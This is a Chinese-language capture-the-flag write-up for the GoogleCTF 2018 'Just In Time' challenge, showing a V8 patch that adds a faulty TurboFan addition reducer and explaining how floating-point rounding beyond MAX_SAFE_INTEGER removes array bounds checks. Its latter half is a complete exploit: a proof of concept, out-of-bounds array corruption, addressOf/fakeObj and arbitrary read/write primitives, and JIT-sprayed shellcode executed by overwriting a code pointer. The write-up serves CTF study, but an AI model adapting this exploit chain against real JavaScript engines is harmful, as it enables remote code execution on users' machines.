Add new
682
Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/README.md
Normal file
@ -0,0 +1,682 @@
|
||||
# GoogleCTF2018_JustInTime
|
||||
|
||||
## 题目分析
|
||||
|
||||
题目给出一段patch代码:
|
||||
|
||||
```patch
|
||||
diff --git a/BUILD.gn b/BUILD.gn
|
||||
index c6a58776cd..14c56d2910 100644
|
||||
--- a/BUILD.gn
|
||||
+++ b/BUILD.gn
|
||||
@@ -1699,6 +1699,8 @@ v8_source_set("v8_base") {
|
||||
"src/compiler/dead-code-elimination.cc",
|
||||
"src/compiler/dead-code-elimination.h",
|
||||
"src/compiler/diamond.h",
|
||||
+ "src/compiler/duplicate-addition-reducer.cc",
|
||||
+ "src/compiler/duplicate-addition-reducer.h",
|
||||
"src/compiler/effect-control-linearizer.cc",
|
||||
"src/compiler/effect-control-linearizer.h",
|
||||
"src/compiler/escape-analysis-reducer.cc",
|
||||
diff --git a/src/compiler/duplicate-addition-reducer.cc b/src/compiler/duplicate-addition-reducer.cc
|
||||
new file mode 100644
|
||||
index 0000000000..59e8437f3d
|
||||
--- /dev/null
|
||||
+++ b/src/compiler/duplicate-addition-reducer.cc
|
||||
@@ -0,0 +1,71 @@
|
||||
+// Copyright 2018 Google LLC
|
||||
+//
|
||||
+// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
+// you may not use this file except in compliance with the License.
|
||||
+// You may obtain a copy of the License at
|
||||
+//
|
||||
+// http://www.apache.org/licenses/LICENSE-2.0
|
||||
+//
|
||||
+// Unless required by applicable law or agreed to in writing, software
|
||||
+// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
+// See the License for the specific language governing permissions and
|
||||
+// limitations under the License.
|
||||
+#include "src/compiler/duplicate-addition-reducer.h"
|
||||
+
|
||||
+#include "src/compiler/common-operator.h"
|
||||
+#include "src/compiler/graph.h"
|
||||
+#include "src/compiler/node-properties.h"
|
||||
+
|
||||
+namespace v8 {
|
||||
+namespace internal {
|
||||
+namespace compiler {
|
||||
+
|
||||
+DuplicateAdditionReducer::DuplicateAdditionReducer(Editor* editor, Graph* graph,
|
||||
+ CommonOperatorBuilder* common)
|
||||
+ : AdvancedReducer(editor),
|
||||
+ graph_(graph), common_(common) {}
|
||||
+
|
||||
+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
|
||||
+ switch (node->opcode()) {
|
||||
+ case IrOpcode::kNumberAdd:
|
||||
+ return ReduceAddition(node);
|
||||
+ default:
|
||||
+ return NoChange();
|
||||
+ }
|
||||
+}
|
||||
+
|
||||
+Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
|
||||
+ DCHECK_EQ(node->op()->ControlInputCount(), 0);
|
||||
+ DCHECK_EQ(node->op()->EffectInputCount(), 0);
|
||||
+ DCHECK_EQ(node->op()->ValueInputCount(), 2);
|
||||
+
|
||||
+ Node* left = NodeProperties::GetValueInput(node, 0);
|
||||
+ if (left->opcode() != node->opcode()) {
|
||||
+ return NoChange();
|
||||
+ }
|
||||
+
|
||||
+ Node* right = NodeProperties::GetValueInput(node, 1);
|
||||
+ if (right->opcode() != IrOpcode::kNumberConstant) {
|
||||
+ return NoChange();
|
||||
+ }
|
||||
+
|
||||
+ Node* parent_left = NodeProperties::GetValueInput(left, 0);
|
||||
+ Node* parent_right = NodeProperties::GetValueInput(left, 1);
|
||||
+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {
|
||||
+ return NoChange();
|
||||
+ }
|
||||
+
|
||||
+ double const1 = OpParameter<double>(right->op());
|
||||
+ double const2 = OpParameter<double>(parent_right->op());
|
||||
+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
|
||||
+
|
||||
+ NodeProperties::ReplaceValueInput(node, parent_left, 0);
|
||||
+ NodeProperties::ReplaceValueInput(node, new_const, 1);
|
||||
+
|
||||
+ return Changed(node);
|
||||
+}
|
||||
+
|
||||
+} // namespace compiler
|
||||
+} // namespace internal
|
||||
+} // namespace v8
|
||||
diff --git a/src/compiler/duplicate-addition-reducer.h b/src/compiler/duplicate-addition-reducer.h
|
||||
new file mode 100644
|
||||
index 0000000000..7285f1ae3e
|
||||
--- /dev/null
|
||||
+++ b/src/compiler/duplicate-addition-reducer.h
|
||||
@@ -0,0 +1,60 @@
|
||||
+/*
|
||||
+ * Copyright 2018 Google LLC
|
||||
+ *
|
||||
+ * Licensed under the Apache License, Version 2.0 (the "License");
|
||||
+ * you may not use this file except in compliance with the License.
|
||||
+ * You may obtain a copy of the License at
|
||||
+ *
|
||||
+ * http://www.apache.org/licenses/LICENSE-2.0
|
||||
+ *
|
||||
+ * Unless required by applicable law or agreed to in writing, software
|
||||
+ * distributed under the License is distributed on an "AS IS" BASIS,
|
||||
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
+ * See the License for the specific language governing permissions and
|
||||
+ * limitations under the License.
|
||||
+ */
|
||||
+
|
||||
+#ifndef V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
|
||||
+#define V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
|
||||
+
|
||||
+#include "src/base/compiler-specific.h"
|
||||
+#include "src/compiler/graph-reducer.h"
|
||||
+#include "src/globals.h"
|
||||
+#include "src/machine-type.h"
|
||||
+
|
||||
+namespace v8 {
|
||||
+namespace internal {
|
||||
+namespace compiler {
|
||||
+
|
||||
+// Forward declarations.
|
||||
+class CommonOperatorBuilder;
|
||||
+class Graph;
|
||||
+
|
||||
+class V8_EXPORT_PRIVATE DuplicateAdditionReducer final
|
||||
+ : public NON_EXPORTED_BASE(AdvancedReducer) {
|
||||
+ public:
|
||||
+ DuplicateAdditionReducer(Editor* editor, Graph* graph,
|
||||
+ CommonOperatorBuilder* common);
|
||||
+ ~DuplicateAdditionReducer() final {}
|
||||
+
|
||||
+ const char* reducer_name() const override { return "DuplicateAdditionReducer"; }
|
||||
+
|
||||
+ Reduction Reduce(Node* node) final;
|
||||
+
|
||||
+ private:
|
||||
+ Reduction ReduceAddition(Node* node);
|
||||
+
|
||||
+ Graph* graph() const { return graph_;}
|
||||
+ CommonOperatorBuilder* common() const { return common_; };
|
||||
+
|
||||
+ Graph* const graph_;
|
||||
+ CommonOperatorBuilder* const common_;
|
||||
+
|
||||
+ DISALLOW_COPY_AND_ASSIGN(DuplicateAdditionReducer);
|
||||
+};
|
||||
+
|
||||
+} // namespace compiler
|
||||
+} // namespace internal
|
||||
+} // namespace v8
|
||||
+
|
||||
+#endif // V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
|
||||
diff --git a/src/compiler/pipeline.cc b/src/compiler/pipeline.cc
|
||||
index 5717c70348..8cca161ad5 100644
|
||||
--- a/src/compiler/pipeline.cc
|
||||
+++ b/src/compiler/pipeline.cc
|
||||
@@ -27,6 +27,7 @@
|
||||
#include "src/compiler/constant-folding-reducer.h"
|
||||
#include "src/compiler/control-flow-optimizer.h"
|
||||
#include "src/compiler/dead-code-elimination.h"
|
||||
+#include "src/compiler/duplicate-addition-reducer.h"
|
||||
#include "src/compiler/effect-control-linearizer.h"
|
||||
#include "src/compiler/escape-analysis-reducer.h"
|
||||
#include "src/compiler/escape-analysis.h"
|
||||
@@ -1301,6 +1302,8 @@ struct TypedLoweringPhase {
|
||||
data->jsgraph()->Dead());
|
||||
DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
|
||||
data->common(), temp_zone);
|
||||
+ DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(),
|
||||
+ data->common());
|
||||
JSCreateLowering create_lowering(&graph_reducer, data->dependencies(),
|
||||
data->jsgraph(), data->js_heap_broker(),
|
||||
data->native_context(), temp_zone);
|
||||
@@ -1318,6 +1321,7 @@ struct TypedLoweringPhase {
|
||||
data->js_heap_broker(), data->common(),
|
||||
data->machine(), temp_zone);
|
||||
AddReducer(data, &graph_reducer, &dead_code_elimination);
|
||||
+ AddReducer(data, &graph_reducer, &duplicate_addition_reducer);
|
||||
AddReducer(data, &graph_reducer, &create_lowering);
|
||||
AddReducer(data, &graph_reducer, &constant_folding_reducer);
|
||||
AddReducer(data, &graph_reducer, &typed_optimization);
|
||||
|
||||
```
|
||||
|
||||
patch代码在`TypedLoweringPhase`阶段添加了一个名为`duplicate_addition_reducer`的`Reducer`,约简的具体过程如下:
|
||||
|
||||
```cc
|
||||
Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
|
||||
DCHECK_EQ(node->op()->ControlInputCount(), 0);
|
||||
DCHECK_EQ(node->op()->EffectInputCount(), 0);
|
||||
DCHECK_EQ(node->op()->ValueInputCount(), 2);
|
||||
|
||||
Node* left = NodeProperties::GetValueInput(node, 0);
|
||||
if (left->opcode() != node->opcode()) {
|
||||
return NoChange(); // [1]
|
||||
}
|
||||
|
||||
Node* right = NodeProperties::GetValueInput(node, 1);
|
||||
if (right->opcode() != IrOpcode::kNumberConstant) {
|
||||
return NoChange(); // [2]
|
||||
}
|
||||
|
||||
Node* parent_left = NodeProperties::GetValueInput(left, 0);
|
||||
Node* parent_right = NodeProperties::GetValueInput(left, 1);
|
||||
if (parent_right->opcode() != IrOpcode::kNumberConstant) {
|
||||
return NoChange(); // [3]
|
||||
}
|
||||
|
||||
double const1 = OpParameter<double>(right->op());
|
||||
double const2 = OpParameter<double>(parent_right->op());
|
||||
|
||||
Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
|
||||
|
||||
NodeProperties::ReplaceValueInput(node, parent_left, 0);
|
||||
NodeProperties::ReplaceValueInput(node, new_const, 1);
|
||||
return Changed(node); // [4]
|
||||
}
|
||||
```
|
||||
|
||||
这个约化器通过处理包含两个`ValueEdge`,不包含`ControlEdge`和`EffectEdge`的情况,并且第一个`ValueEffet`的操作码与结点操作码相同,第二个`ValueEffet`的操作码是`NumberConstant`,同时第一个`ValueEffet`有两条父`ValueEffect`,其中第二个父`ValueEffet`对应的类型是`NumberConstant`。如果满足该条件,则会生成一个新的`NumberConstant`结点,表示`parent_right + right`的值,并将第一个`ValueEffet`替换为`parent_left`,第二个替换为`parent_right + right`,实际操作如下图所示:
|
||||
|
||||
|
||||
|
||||
![image](assets/image-20240917224647-xhrmogp.png)
|
||||
|
||||
优化后的结点:
|
||||
|
||||
![image](assets/image-20240917224712-2dh9k1z.png)
|
||||
|
||||
### 触发优化
|
||||
|
||||
#### 构造二元值依赖
|
||||
|
||||
利用该代码实验:
|
||||
|
||||
```js
|
||||
function opt_me(x) {
|
||||
return x + 1;
|
||||
}
|
||||
|
||||
opt_me(2);
|
||||
%OptimizeFunctionOnNextCall(opt_me);
|
||||
opt_me(3);
|
||||
```
|
||||
|
||||
对于一个加法`x+1`而言,生成的结点是`SpeculativeSafeIntegerAdd`,始终是一个四元的,且不会被优化,因为值的类型都是`Int32`或`Double`可以表示的值,对应的级别已经很低,操作很简单。
|
||||
|
||||
![image](assets/image-20240918000529-dxghp5h.png)
|
||||
|
||||
而对于而言`SpeculativeNumberAdd`,虽然同样是四元,但是可以被优化为`NumberAdd`:
|
||||
|
||||
```cc
|
||||
Reduction TypedOptimization::ReduceSpeculativeNumberAdd(Node* node) {
|
||||
Node* const lhs = NodeProperties::GetValueInput(node, 0);
|
||||
Node* const rhs = NodeProperties::GetValueInput(node, 1);
|
||||
Type const lhs_type = NodeProperties::GetType(lhs);
|
||||
Type const rhs_type = NodeProperties::GetType(rhs);
|
||||
NumberOperationHint hint = NumberOperationHintOf(node->op());
|
||||
if ((hint == NumberOperationHint::kNumber ||
|
||||
hint == NumberOperationHint::kNumberOrOddball) &&
|
||||
BothAre(lhs_type, rhs_type, Type::PlainPrimitive()) &&
|
||||
NeitherCanBe(lhs_type, rhs_type, Type::StringOrReceiver())) {
|
||||
// SpeculativeNumberAdd(x:-string, y:-string) =>
|
||||
// NumberAdd(ToNumber(x), ToNumber(y))
|
||||
Node* const toNum_lhs = ConvertPlainPrimitiveToNumber(lhs);
|
||||
Node* const toNum_rhs = ConvertPlainPrimitiveToNumber(rhs);
|
||||
Node* const value =
|
||||
graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs);
|
||||
ReplaceWithValue(node, value);
|
||||
return Replace(value);
|
||||
}
|
||||
return NoChange();
|
||||
}
|
||||
```
|
||||
|
||||
尝试以下测试代码:
|
||||
|
||||
```js
|
||||
function opt_me(x) {
|
||||
return x + Number.MAX_SAFE_INTEGER;
|
||||
}
|
||||
|
||||
opt_me(2);
|
||||
%OptimizeFunctionOnNextCall(opt_me);
|
||||
opt_me(3);
|
||||
```
|
||||
|
||||
此时对应的结点不再是`SpeculativeSafeIntegerAdd`而是`SpeculativeNumberAdd`:
|
||||
|
||||
![image](assets/image-20240918001437-9umg3om.png)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
分析源码知道当满足`hint == NumberOperationHint::kNumber || hint == NumberOperationHint::kNumberOrOddball`的条件与`BothAre(lhs_type, rhs_type, Type::PlainPrimitive())`的条件,则会将`SpeculativeNumberAdd`替换为`NumberAdd`,而`NumberAdd`的边数正好是2:
|
||||
|
||||
```cc
|
||||
Node* const value =
|
||||
graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs);
|
||||
ReplaceWithValue(node, value);
|
||||
return Replace(value);
|
||||
|
||||
template <class... Args>
|
||||
Node* NewNode(const Operator* op, Node* n0, Args... nodes) {
|
||||
Node* buffer[] = {n0, nodes...};
|
||||
return MakeNode(op, arraysize(buffer), buffer);
|
||||
}
|
||||
```
|
||||
|
||||
对于`hint == NumberOperationHint::kNumber || hint == NumberOperationHint::kNumberOrOddball`,保证输入输出的类型即可:
|
||||
|
||||
```js
|
||||
enum class NumberOperationHint : uint8_t {
|
||||
kSignedSmall, // Inputs were Smi, output was in Smi.
|
||||
kSignedSmallInputs, // Inputs were Smi, output was Number.
|
||||
kNumber, // Inputs were Number, output was Number.
|
||||
kNumberOrBoolean, // Inputs were Number or Boolean, output was Number.
|
||||
kNumberOrOddball, // Inputs were Number or Oddball, output was Number.
|
||||
};
|
||||
```
|
||||
|
||||
对于`othAre(lhs_type, rhs_type, Type::PlainPrimitive())`,只需要保证二者都是64位能够表示的整数范围,就能够满足该条件。因此编写以下代码:
|
||||
|
||||
```js
|
||||
function opt_me(x) {
|
||||
let y = 100 + x;
|
||||
return y + Number.MAX_SAFE_INTEGER;
|
||||
}
|
||||
|
||||
opt_me(2);
|
||||
%OptimizeFunctionOnNextCall(opt_me);
|
||||
opt_me(3);
|
||||
```
|
||||
|
||||
在`TyperPhase`阶段,两个依赖值都是`Range`类型,且范围在`PlainNumber`内:
|
||||
|
||||
![image](assets/image-20240919211826-citkoly.png)
|
||||
|
||||
在`TypedLowingPhase`即被优化为`NumberAdd`:
|
||||
|
||||
![image](assets/image-20240919211846-z42anj6.png)
|
||||
|
||||
#### 构造Case4
|
||||
|
||||
构造Case4需要构造连续的`NumberAdd`,对于未patch的版本,`let y = x + Number.MAX_SAFE_INTEGER + 1 + 1`在`TypeLowingPhase`时会存在两个`NumberAdd`结点:
|
||||
|
||||
![image](assets/image-20240919223627-c0dpnys.png)
|
||||
|
||||
而由于`DuplicateAdditionReducer`的存在,上述代码会合并成`x+2`:
|
||||
|
||||
![image](assets/image-20240919224311-kaamu4x.png)
|
||||
|
||||
因此可以给出触发优化的代码:
|
||||
|
||||
```js
|
||||
function opt_me(x) {
|
||||
let y = x + Number.MAX_SAFE_INTEGER + 1 + 1;
|
||||
return y;
|
||||
}
|
||||
|
||||
opt_me(2);
|
||||
%OptimizeFunctionOnNextCall(opt_me);
|
||||
opt_me(3);
|
||||
```
|
||||
|
||||
## 漏洞分析
|
||||
|
||||
### SafeInteger误判
|
||||
|
||||
漏洞的成因是V8使用`IEEE-754`规范表示浮点数,此规范用低52位表示尾数,用次高11位表示阶码,用最高位表示符号位。
|
||||
|
||||
![image](assets/image-20240919224730-8nh0vmw.png)
|
||||
|
||||
V8中复用此结构来表示整数,在此范围内的整数称作`SafeInteger`。漏洞成因是`DuplicateAdditionReducer`在合并结点时将两个常量值按照`double`类型直接相加:
|
||||
|
||||
```js
|
||||
double const1 = OpParameter<double>(right->op());
|
||||
double const2 = OpParameter<double>(parent_right->op());
|
||||
Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
|
||||
```
|
||||
|
||||
然而在V8中使用`IEEE-754`规范并不能精确表示`SafeInteger`范围外的整数,因此会出现一些反常的行为:
|
||||
|
||||
```js
|
||||
V8 version 7.0.276.3
|
||||
d8> x = Number.MAX_SAFE_INTEGER
|
||||
9007199254740991
|
||||
d8> x + 1
|
||||
9007199254740992
|
||||
d8> x + 2
|
||||
9007199254740992
|
||||
d8> x + 1 + 1
|
||||
9007199254740992
|
||||
d8> x + 1 + 1 + 1 + 1
|
||||
9007199254740992
|
||||
d8> 9007199254740993 == 9007199254740992
|
||||
true
|
||||
```
|
||||
|
||||
这是因为浮点数值的计算公式是:
|
||||
|
||||
$$
|
||||
value = (-1)^{sign} × 2^{e} × fraction \\
|
||||
e = 2^{exponent - bias} \\
|
||||
bias = 1024 \\
|
||||
fraction = bit_{51}×2^0 + bit_{50}×2^{-1} + ... + bit_0×2^{-51}
|
||||
$$
|
||||
|
||||
9007199254740991对应的如下:
|
||||
|
||||
![image](assets/image-20240919231536-fs5pfd4.png)
|
||||
|
||||
9007199254740992对应的如下:
|
||||
|
||||
![image](assets/image-20240919231602-e82wgz7.png)
|
||||
|
||||
9007199254740993对应的如下:
|
||||
|
||||
![image](assets/image-20240919232315-7d5bwr3.png)
|
||||
|
||||
也就是说9007199254740992和9007199254740993在内存中的表示是一样的,套用上述公式,我们知道:
|
||||
|
||||
$$
|
||||
value = 2^{434H-1024}×fraction=2^{52}×fraction
|
||||
$$
|
||||
|
||||
即:
|
||||
|
||||
$$
|
||||
value = bit_{51}×2^{52} + bit_{50}×2^{50} + ... + bit_0×2^{1}
|
||||
$$
|
||||
|
||||
因此,在尾数+1时,表示的整数值最少加2,因此无法表示9007199254740993。这就会导致:
|
||||
|
||||
```js
|
||||
d8> x = Number.MAX_SAFE_INTEGER + 1
|
||||
9007199254740992
|
||||
d8> x + 1 + 1
|
||||
9007199254740992
|
||||
d8> x + 2
|
||||
9007199254740994
|
||||
```
|
||||
|
||||
也就是:
|
||||
|
||||
![image](assets/image-20240919233206-ukmojnr.png)
|
||||
|
||||
### 消除CheckBounds
|
||||
|
||||
利用这一点,我们可以让**TurboFan**错误地消除用于判断数组越界的`CheckBounds`结点。
|
||||
|
||||
我们先看一简单的例子,分析**TurboFan**怎样对其进行优化:
|
||||
|
||||
```js
|
||||
function opt_me(x) {
|
||||
x &= 3;
|
||||
let arr = [1.1, 1.2, 1.3, 2.2];
|
||||
return arr[x];
|
||||
}
|
||||
|
||||
opt_me(2);
|
||||
%OptimizeFunctionOnNextCall(opt_me);
|
||||
opt_me(100);
|
||||
```
|
||||
|
||||
在`EscapeAnalysis`及之前的阶段,都存在`CheckBounds`结点,用于判断数组的索引是否越界:
|
||||
|
||||
![image](assets/image-20240919234149-9ttsul0.png)
|
||||
|
||||
而在`SimplifiedLowing`阶段,因为`x &= 3`范围在`[0, 3]`因此会消除`CheckBounds`结点:
|
||||
|
||||
|
||||
|
||||
![image](assets/image-20240919234637-z3jhosz.png)
|
||||
|
||||
利用这一点,我们可以利用`9007199254740992 + 1 + 1 != 9007199254740992 + 2`的特点构造POC:
|
||||
|
||||
```js
|
||||
function opt_me(x) {
|
||||
let arr = [.1, .2];
|
||||
let y = (x == 1 ? 9007199254740992: 9007199254740989) + 1 + 1;
|
||||
y -= 9007199254740991;
|
||||
return arr[y];
|
||||
}
|
||||
|
||||
console.log(opt_me(1));
|
||||
%OptimizeFunctionOnNextCall(opt_me);
|
||||
console.log(opt_me(1));
|
||||
```
|
||||
|
||||
输出结果:
|
||||
|
||||
```js
|
||||
Concurrent recompilation has been disabled for tracing.
|
||||
0.2
|
||||
---------------------------------------------------
|
||||
Begin compiling method opt_me using Turbofan
|
||||
---------------------------------------------------
|
||||
Finished compiling method opt_me using Turbofan
|
||||
0
|
||||
```
|
||||
|
||||
## 漏洞利用
|
||||
|
||||
有了上述POC,我们就可以借此获得`oob`,修改`FixedArray.length`:
|
||||
|
||||
```js
|
||||
function opt_me(x) { // target is write arr[5];
|
||||
let arr = [.1, .2];
|
||||
let y = (x == 1 ? 9007199254740992 : 9007199254740988) + 1 + 1 + 1;
|
||||
// turbo range(9007199254740991, 9007199254740992)
|
||||
// real range(9007199254740991, 9007199254740996)
|
||||
y -= 9007199254740991;
|
||||
// turbo range(0, 1);
|
||||
// real range(0, 5);
|
||||
arr[y] = 1;
|
||||
return arr;
|
||||
}
|
||||
```
|
||||
|
||||
这样即可修改得到越界读写的`oob_array`:
|
||||
|
||||
```js
|
||||
pwndbg> job 0x1c91884ac321
|
||||
0x1c91884ac321: [JSArray]
|
||||
- map: 0x217056a02931 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
|
||||
- prototype: 0x39582ee86919 <JSArray[0]>
|
||||
- elements: 0x1c91884ac301 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
|
||||
- length: 1072693248
|
||||
- properties: 0x015d29f82d29 <FixedArray[0]> {
|
||||
#length: 0x303c03318351 <AccessorInfo> (const accessor descriptor)
|
||||
}
|
||||
- elements: 0x1c91884ac301 <FixedDoubleArray[2]> {
|
||||
0: 0.1
|
||||
1: 0.2
|
||||
}
|
||||
```
|
||||
|
||||
这里有一点需要注意,虽然`arr`的元素是`FixedDoubleArray`,但是如果写入`arr[y] = u2d(1n)`,会导致`CheckBounds`结点在优化过程中未被消除:
|
||||
|
||||
![image](assets/image-20240920205957-smi3qrl.png)
|
||||
|
||||
从而导致`arr[5]`无法越界修改到`length`,而是发生去优化:
|
||||
|
||||
```js
|
||||
d8> arr
|
||||
[0.1, 0.2]
|
||||
d8> arr[5] = 1
|
||||
1
|
||||
d8> arr
|
||||
[0.1, 0.2, , , , 1]
|
||||
```
|
||||
|
||||
后续利用方法同V8 堆Sandbox中的立即数写shellcode。
|
||||
|
||||
EXP:
|
||||
|
||||
```js
|
||||
let array_buffer = new ArrayBuffer(0x8);
|
||||
let data_view = new DataView(array_buffer);
|
||||
|
||||
function d2u(value) {
|
||||
data_view.setFloat64(0, value);
|
||||
return data_view.getBigUint64(0);
|
||||
}
|
||||
|
||||
function u2d(value) {
|
||||
data_view.setBigUint64(0, value);
|
||||
return data_view.getFloat64(0);
|
||||
}
|
||||
|
||||
function hex(val) {
|
||||
return '0x' + val.toString(16).padStart(16, "0");
|
||||
}
|
||||
|
||||
function shellcode() {
|
||||
return [
|
||||
1.930800574428816e-246,
|
||||
1.9710610293119303e-246,
|
||||
1.9580046981136086e-246,
|
||||
1.9533830734556562e-246,
|
||||
1.961642575273437e-246,
|
||||
1.9399842868403466e-246,
|
||||
1.9627709291878714e-246,
|
||||
1.9711826272864685e-246,
|
||||
1.9954775598492772e-246,
|
||||
2.000505685241573e-246,
|
||||
1.9535148279508375e-246,
|
||||
1.9895153917617124e-246,
|
||||
1.9539853963090317e-246,
|
||||
1.9479373016495106e-246,
|
||||
1.97118242283721e-246,
|
||||
1.95323825426926e-246,
|
||||
1.99113905582155e-246,
|
||||
1.9940808572858186e-246,
|
||||
1.9537941682504095e-246,
|
||||
1.930800151635891e-246,
|
||||
1.932214185322047e-246
|
||||
];
|
||||
}
|
||||
|
||||
for (let i = 0; i < 0x40000; i++) {
|
||||
shellcode();
|
||||
}
|
||||
|
||||
|
||||
function opt_me(x) { // target is write arr[5];
|
||||
let arr = [.1, .2];
|
||||
let y = (x == 1 ? 9007199254740992 : 9007199254740988) + 1 + 1 + 1;
|
||||
// turbo range(9007199254740991, 9007199254740992)
|
||||
// real range(9007199254740991, 9007199254740996)
|
||||
y -= 9007199254740991;
|
||||
// turbo range(0, 1);
|
||||
// real range(0, 5);
|
||||
arr[y] = 1;
|
||||
return arr;
|
||||
}
|
||||
|
||||
for(let i = 0; i < 0x40000; i++) {
|
||||
opt_me(0);
|
||||
}
|
||||
let oob_array = opt_me(1);
|
||||
var object_array = [{}];
|
||||
var double_array = [.1];
|
||||
var rw_array = [.1];
|
||||
var double_array_map = d2u(oob_array[23]);
|
||||
var object_array_map = d2u(oob_array[16]);
|
||||
print("[*] double_array_map -> " + hex(double_array_map));
|
||||
print("[*] object_array_map -> " + hex(object_array_map));
|
||||
|
||||
|
||||
function addressOf(obj) {
|
||||
oob_array[23] = u2d(object_array_map);
|
||||
double_array[0] = obj;
|
||||
oob_array[23] = u2d(double_array_map);
|
||||
return d2u(double_array[0]);
|
||||
}
|
||||
|
||||
|
||||
function fakeObj(addr) {
|
||||
oob_array[16] = u2d(double_array_map);
|
||||
object_array[0] = u2d(addr);
|
||||
oob_array[16] = u2d(object_array_map);
|
||||
return object_array[0];
|
||||
}
|
||||
|
||||
|
||||
%DebugPrint(oob_array);
|
||||
%DebugPrint(rw_array);
|
||||
|
||||
function arb_read(addr) {
|
||||
oob_array[32] = u2d((addr - 0x10n) | 1n);
|
||||
return d2u(rw_array[0]);
|
||||
}
|
||||
|
||||
function arb_write(addr, value) {
|
||||
oob_array[32] = u2d((addr - 0x10n) | 1n);
|
||||
rw_array[0] = u2d(value);
|
||||
}
|
||||
|
||||
%DebugPrint(shellcode);
|
||||
shellcode_addr = addressOf(shellcode);
|
||||
var code_addr = arb_read(shellcode_addr - 1n + 0x30n);
|
||||
// var entry_point_addr = arb_read(code_addr - 1n + 8n);
|
||||
print("[*] shellcode addr -> " + hex(shellcode_addr));
|
||||
print("[*] code_addr -> " + hex(code_addr));
|
||||
arb_write(shellcode_addr - 1n + 0x30n, code_addr + 0x6en);
|
||||
shellcode();
|
||||
%SystemBreak();
|
||||
```
|
After Width: | Height: | Size: 60 KiB |
After Width: | Height: | Size: 31 KiB |
After Width: | Height: | Size: 22 KiB |
After Width: | Height: | Size: 11 KiB |
After Width: | Height: | Size: 30 KiB |
After Width: | Height: | Size: 30 KiB |
After Width: | Height: | Size: 63 KiB |
After Width: | Height: | Size: 45 KiB |
After Width: | Height: | Size: 5.2 KiB |
After Width: | Height: | Size: 20 KiB |
After Width: | Height: | Size: 20 KiB |
After Width: | Height: | Size: 62 KiB |
After Width: | Height: | Size: 37 KiB |
After Width: | Height: | Size: 60 KiB |
After Width: | Height: | Size: 32 KiB |
After Width: | Height: | Size: 85 KiB |